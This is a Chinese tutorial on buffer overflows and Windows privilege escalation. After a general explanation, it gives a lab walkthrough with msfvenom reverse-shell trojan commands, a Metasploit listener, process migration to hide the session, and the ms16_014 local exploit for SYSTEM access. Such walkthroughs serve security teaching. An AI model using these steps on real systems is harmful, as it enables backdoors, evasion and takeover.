溢出漏洞的全名:缓冲区溢出漏洞。
溢出漏洞是一种计算机程序的可更正性缺陷。
因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
在内存空间中预留了一定的存储空间用来缓冲输入或输出的数据。 通俗的讲,缓冲区就是当你打开应用程序或者文件的时候,系统会将数据从内存中复制一份到缓冲区,当再次打开时,系统直接从缓冲区读取,提高打开的速度。
在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然,一旦容器满了,余下的部分就会溢出在地板上,弄得一团糟。
缓冲区溢出的目的在于扰乱具有某些运行特权的程序的功能,这样可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。
在实际场景中,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区时可能会出现两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以劫持进程、执行任意指令,甚至可以取得系统权限。
Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
提权流程:
(1) 获取到一个低权限shell后,执行systeminfo命令查看系统安装的补丁列表
(2) 根据补丁程序与微软的漏洞数据库进行比较,找出可能导致权限提升的漏洞.
大概有两种思路:
主要思路就是获取系统上的补丁信息,根据第三网站或者项目寻找EXP。
Github项目:WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub
该工具如何使用请参考另外一篇文章:提权神器:WindowsVulnScan
这款工具测试Win7系统时遭遇失败:
还有第三方分析的网站:提权辅助网页 Windows提权辅助 https://i.hacking8.com/tiquan
分析结果:
之后就是根据结果寻找EXP测试
Github上的项目推荐:
GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.
项目上集成有大量的EXP,根据上面信息收集获得可利用漏洞逐一尝试即可。
测试环境
靶机: Win7 192.168.226.133
攻击机:Kali 192.168.226.132
生成木马:使用第一条命令生成木马 test.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (64位)
进入监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
另外需要注意一个位置,exe的位置要注意,我们权限低,目录没有修改权限,需要放在我们具有修改执行权限的目录下。
还有就是监听的网卡设置,0.0.0.0 表示监听所有的网卡
这样就建立号后门链接了
上线后进行进程迁移(隐藏自己),把进程迁移到explore.exe中,1844为进程的pid
migrate 1844
接下来开始提权,使用post/multi/recon/local_exploit_suggester这个模块进行测试
system为Win7最高权限,开始提权!首先输入background命令将session放到后台
执行攻击模块,它可以快速识别系统中可利用的漏洞
use post/multi/recon/local_exploit_suggester
set session 2
run
获得了可以用来利用提权的模块,使用对应的脚本然后进行提权即可
use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run
成功提权
如何管理会话
sessions -l 显示所有的会话
sessions -i ID 连接指定的会话
在利用msf进行提权操作是出现timed out:Error running command shell: Rex::TimeoutError Operation timed out.
虚拟切换为NAT模式即可
MSF漏洞利用完成但无法创建会话的几种原因
参考文章:MSF漏洞利用完成但无法创建会话的几种原因_漏洞利用成功但未建立会话